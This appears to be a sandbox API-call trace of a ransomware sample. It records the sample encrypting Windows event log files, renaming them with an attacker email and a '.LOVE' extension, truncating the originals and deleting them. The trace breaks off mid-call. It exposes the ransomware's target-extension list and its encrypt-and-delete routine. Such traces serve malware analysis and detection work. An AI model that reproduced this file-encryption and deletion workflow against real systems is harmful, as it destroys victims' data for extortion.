(lpString=".jpg") returned 4 [0205.224] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0205.225] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0205.225] lstrlenW (lpString="Microsoft-Windows-International%4Operational.evtx") returned 49 [0205.225] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0205.254] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0205.254] CloseHandle (hObject=0x370) returned 1 [0205.254] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20 [0205.254] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.254] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0205.255] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.255] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.255] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0205.255] GetLastError () returned 0x0 [0205.255] ReadFile (in: hFile=0x370, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0205.362] WriteFile (in: hFile=0x374, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0205.363] ReadFile (in: hFile=0x370, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.363] WriteFile (in: hFile=0x374, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x136, lpOverlapped=0x0) returned 1 [0205.363] SetEndOfFile (hFile=0x374) returned 1 [0205.548] CloseHandle (hObject=0x374) returned 1 [0205.551] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.551] SetEndOfFile (hFile=0x370) returned 1 [0205.551] CloseHandle (hObject=0x370) returned 1 [0205.551] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0205.552] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 1 [0205.552] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0205.552] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0205.552] lstrlenW (lpString=".doc") returned 4 [0205.552] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0205.552] lstrlenW (lpString=".docx") returned 5 [0205.552] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0205.552] lstrlenW (lpString=".pdf") returned 4 [0205.552] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0205.552] lstrlenW (lpString=".xls") returned 4 [0205.552] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0205.553] lstrlenW (lpString=".xlsx") returned 5 [0205.553] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0205.553] lstrlenW (lpString=".ppt") returned 4 [0205.553] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0205.553] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0205.553] lstrlenW (lpString=".zip") returned 4 [0205.553] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0205.553] lstrlenW (lpString=".rar") returned 4 [0205.553] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0205.553] lstrlenW (lpString=".bz2") returned 4 [0205.553] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0205.553] lstrlenW (lpString=".7z") returned 3 [0205.553] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0205.553] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0205.553] lstrlenW (lpString=".dbf") returned 4 [0205.553] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0205.553] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0205.553] lstrlenW (lpString=".1cd") returned 4 [0205.553] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0205.553] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0205.553] lstrlenW (lpString=".jpg") returned 4 [0205.553] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0205.553] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0205.553] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0205.553] lstrlenW (lpString=".doc") returned 4 [0205.553] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0205.553] lstrlenW (lpString=".docx") returned 5 [0205.554] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0205.554] lstrlenW (lpString=".pdf") returned 4 [0205.554] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0205.554] lstrlenW (lpString=".xls") returned 4 [0205.554] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0205.554] lstrlenW (lpString=".xlsx") returned 5 [0205.554] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0205.554] lstrlenW (lpString=".ppt") returned 4 [0205.554] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0205.554] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0205.554] lstrlenW (lpString=".zip") returned 4 [0205.554] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0205.554] lstrlenW (lpString=".rar") returned 4 [0205.554] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0205.554] lstrlenW (lpString=".bz2") returned 4 [0205.554] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0205.554] lstrlenW (lpString=".7z") returned 3 [0205.554] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0205.554] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0205.554] lstrlenW (lpString=".dbf") returned 4 [0205.554] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0205.554] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0205.554] lstrlenW (lpString=".1cd") returned 4 [0205.554] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0205.554] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0205.554] lstrlenW (lpString=".jpg") returned 4 [0205.554] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0205.555] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0205.555] lstrlenW (lpString="Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 48 [0205.555] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0205.555] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=1052672) returned 1 [0205.555] CloseHandle (hObject=0x370) returned 1 [0205.555] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20 [0205.555] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.555] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0205.555] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.556] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.556] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0205.556] GetLastError () returned 0x0 [0205.556] ReadFile (in: hFile=0x370, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0205.705] WriteFile (in: hFile=0x374, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0205.879] ReadFile (in: hFile=0x370, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x1010, lpOverlapped=0x0) returned 1 [0205.892] WriteFile (in: hFile=0x374, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x1020, lpOverlapped=0x0) returned 1 [0205.898] ReadFile (in: hFile=0x370, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.898] WriteFile (in: hFile=0x374, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x134, lpOverlapped=0x0) returned 1 [0205.906] SetEndOfFile (hFile=0x374) returned 1 [0205.906] CloseHandle (hObject=0x374) returned 1 [0206.327] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.327] SetEndOfFile (hFile=0x370) returned 1 [0206.328] CloseHandle (hObject=0x370) returned 1 [0206.328] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0206.328] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 1 [0206.329] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0206.329] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0206.329] lstrlenW (lpString=".doc") returned 4 [0206.329] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.329] lstrlenW (lpString=".docx") returned 5 [0206.329] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.329] lstrlenW (lpString=".pdf") returned 4 [0206.329] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.329] lstrlenW (lpString=".xls") returned 4 [0206.408] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.409] lstrlenW (lpString=".xlsx") returned 5 [0206.409] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.409] lstrlenW (lpString=".ppt") returned 4 [0206.409] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.409] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0206.409] lstrlenW (lpString=".zip") returned 4 [0206.409] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.409] lstrlenW (lpString=".rar") returned 4 [0206.409] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.409] lstrlenW (lpString=".bz2") returned 4 [0206.409] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.409] lstrlenW (lpString=".7z") returned 3 [0206.409] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.409] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0206.409] lstrlenW (lpString=".dbf") returned 4 [0206.409] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.409] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0206.409] lstrlenW (lpString=".1cd") returned 4 [0206.409] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.409] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0206.409] lstrlenW (lpString=".jpg") returned 4 [0206.409] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.409] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0206.409] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0206.409] lstrlenW (lpString=".doc") returned 4 [0206.409] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.409] lstrlenW (lpString=".docx") returned 5 [0206.409] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.409] lstrlenW (lpString=".pdf") returned 4 [0206.409] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.409] lstrlenW (lpString=".xls") returned 4 [0206.409] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.409] lstrlenW (lpString=".xlsx") returned 5 [0206.409] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.409] lstrlenW (lpString=".ppt") returned 4 [0206.410] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.410] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0206.410] lstrlenW (lpString=".zip") returned 4 [0206.410] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.410] lstrlenW (lpString=".rar") returned 4 [0206.410] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.410] lstrlenW (lpString=".bz2") returned 4 [0206.410] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.410] lstrlenW (lpString=".7z") returned 3 [0206.410] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.410] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0206.410] lstrlenW (lpString=".dbf") returned 4 [0206.410] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.410] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0206.410] lstrlenW (lpString=".1cd") returned 4 [0206.410] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.410] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0206.410] lstrlenW (lpString=".jpg") returned 4 [0206.410] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.410] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0206.410] lstrlenW (lpString="Microsoft-Windows-Ntfs%4WHC.evtx") returned 32 [0206.410] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0206.410] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0206.410] CloseHandle (hObject=0x370) returned 1 [0206.411] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20 [0206.411] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.411] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0206.411] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.452] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.452] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0206.452] GetLastError () returned 0x0 [0206.452] ReadFile (in: hFile=0x370, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0206.585] WriteFile (in: hFile=0x380, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0206.587] ReadFile (in: hFile=0x370, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.587] WriteFile (in: hFile=0x380, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x114, lpOverlapped=0x0) returned 1 [0206.587] SetEndOfFile (hFile=0x380) returned 1 [0206.587] CloseHandle (hObject=0x380) returned 1 [0207.124] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.124] SetEndOfFile (hFile=0x370) returned 1 [0207.125] CloseHandle (hObject=0x370) returned 1 [0207.125] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.125] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 1 [0207.128] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0207.128] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0207.128] lstrlenW (lpString=".doc") returned 4 [0207.129] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.129] lstrlenW (lpString=".docx") returned 5 [0207.129] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.129] lstrlenW (lpString=".pdf") returned 4 [0207.129] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.129] lstrlenW (lpString=".xls") returned 4 [0207.129] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.129] lstrlenW (lpString=".xlsx") returned 5 [0207.129] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.129] lstrlenW (lpString=".ppt") returned 4 [0207.129] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.129] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0207.129] lstrlenW (lpString=".zip") returned 4 [0207.129] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.129] lstrlenW (lpString=".rar") returned 4 [0207.129] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.129] lstrlenW (lpString=".bz2") returned 4 [0207.129] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.129] lstrlenW (lpString=".7z") returned 3 [0207.129] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.129] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0207.129] lstrlenW (lpString=".dbf") returned 4 [0207.129] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.129] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0207.129] lstrlenW (lpString=".1cd") returned 4 [0207.129] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.129] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0207.129] lstrlenW (lpString=".jpg") returned 4 [0207.129] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.130] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0207.130] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0207.130] lstrlenW (lpString=".doc") returned 4 [0207.130] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.130] lstrlenW (lpString=".docx") returned 5 [0207.130] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.130] lstrlenW (lpString=".pdf") returned 4 [0207.130] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.130] lstrlenW (lpString=".xls") returned 4 [0207.130] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.130] lstrlenW (lpString=".xlsx") returned 5 [0207.130] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.130] lstrlenW (lpString=".ppt") returned 4 [0207.130] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.130] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0207.130] lstrlenW (lpString=".zip") returned 4 [0207.130] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.130] lstrlenW (lpString=".rar") returned 4 [0207.130] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.130] lstrlenW (lpString=".bz2") returned 4 [0207.130] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.130] lstrlenW (lpString=".7z") returned 3 [0207.130] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.130] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0207.130] lstrlenW (lpString=".dbf") returned 4 [0207.130] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.131] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0207.131] lstrlenW (lpString=".1cd") returned 4 [0207.131] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.131] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0207.140] lstrlenW (lpString=".jpg") returned 4 [0207.141] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.141] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.141] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4Operational.evtx") returned 46 [0207.141] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0207.141] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0207.141] CloseHandle (hObject=0x368) returned 1 [0207.141] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20 [0207.141] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.141] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0207.141] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | 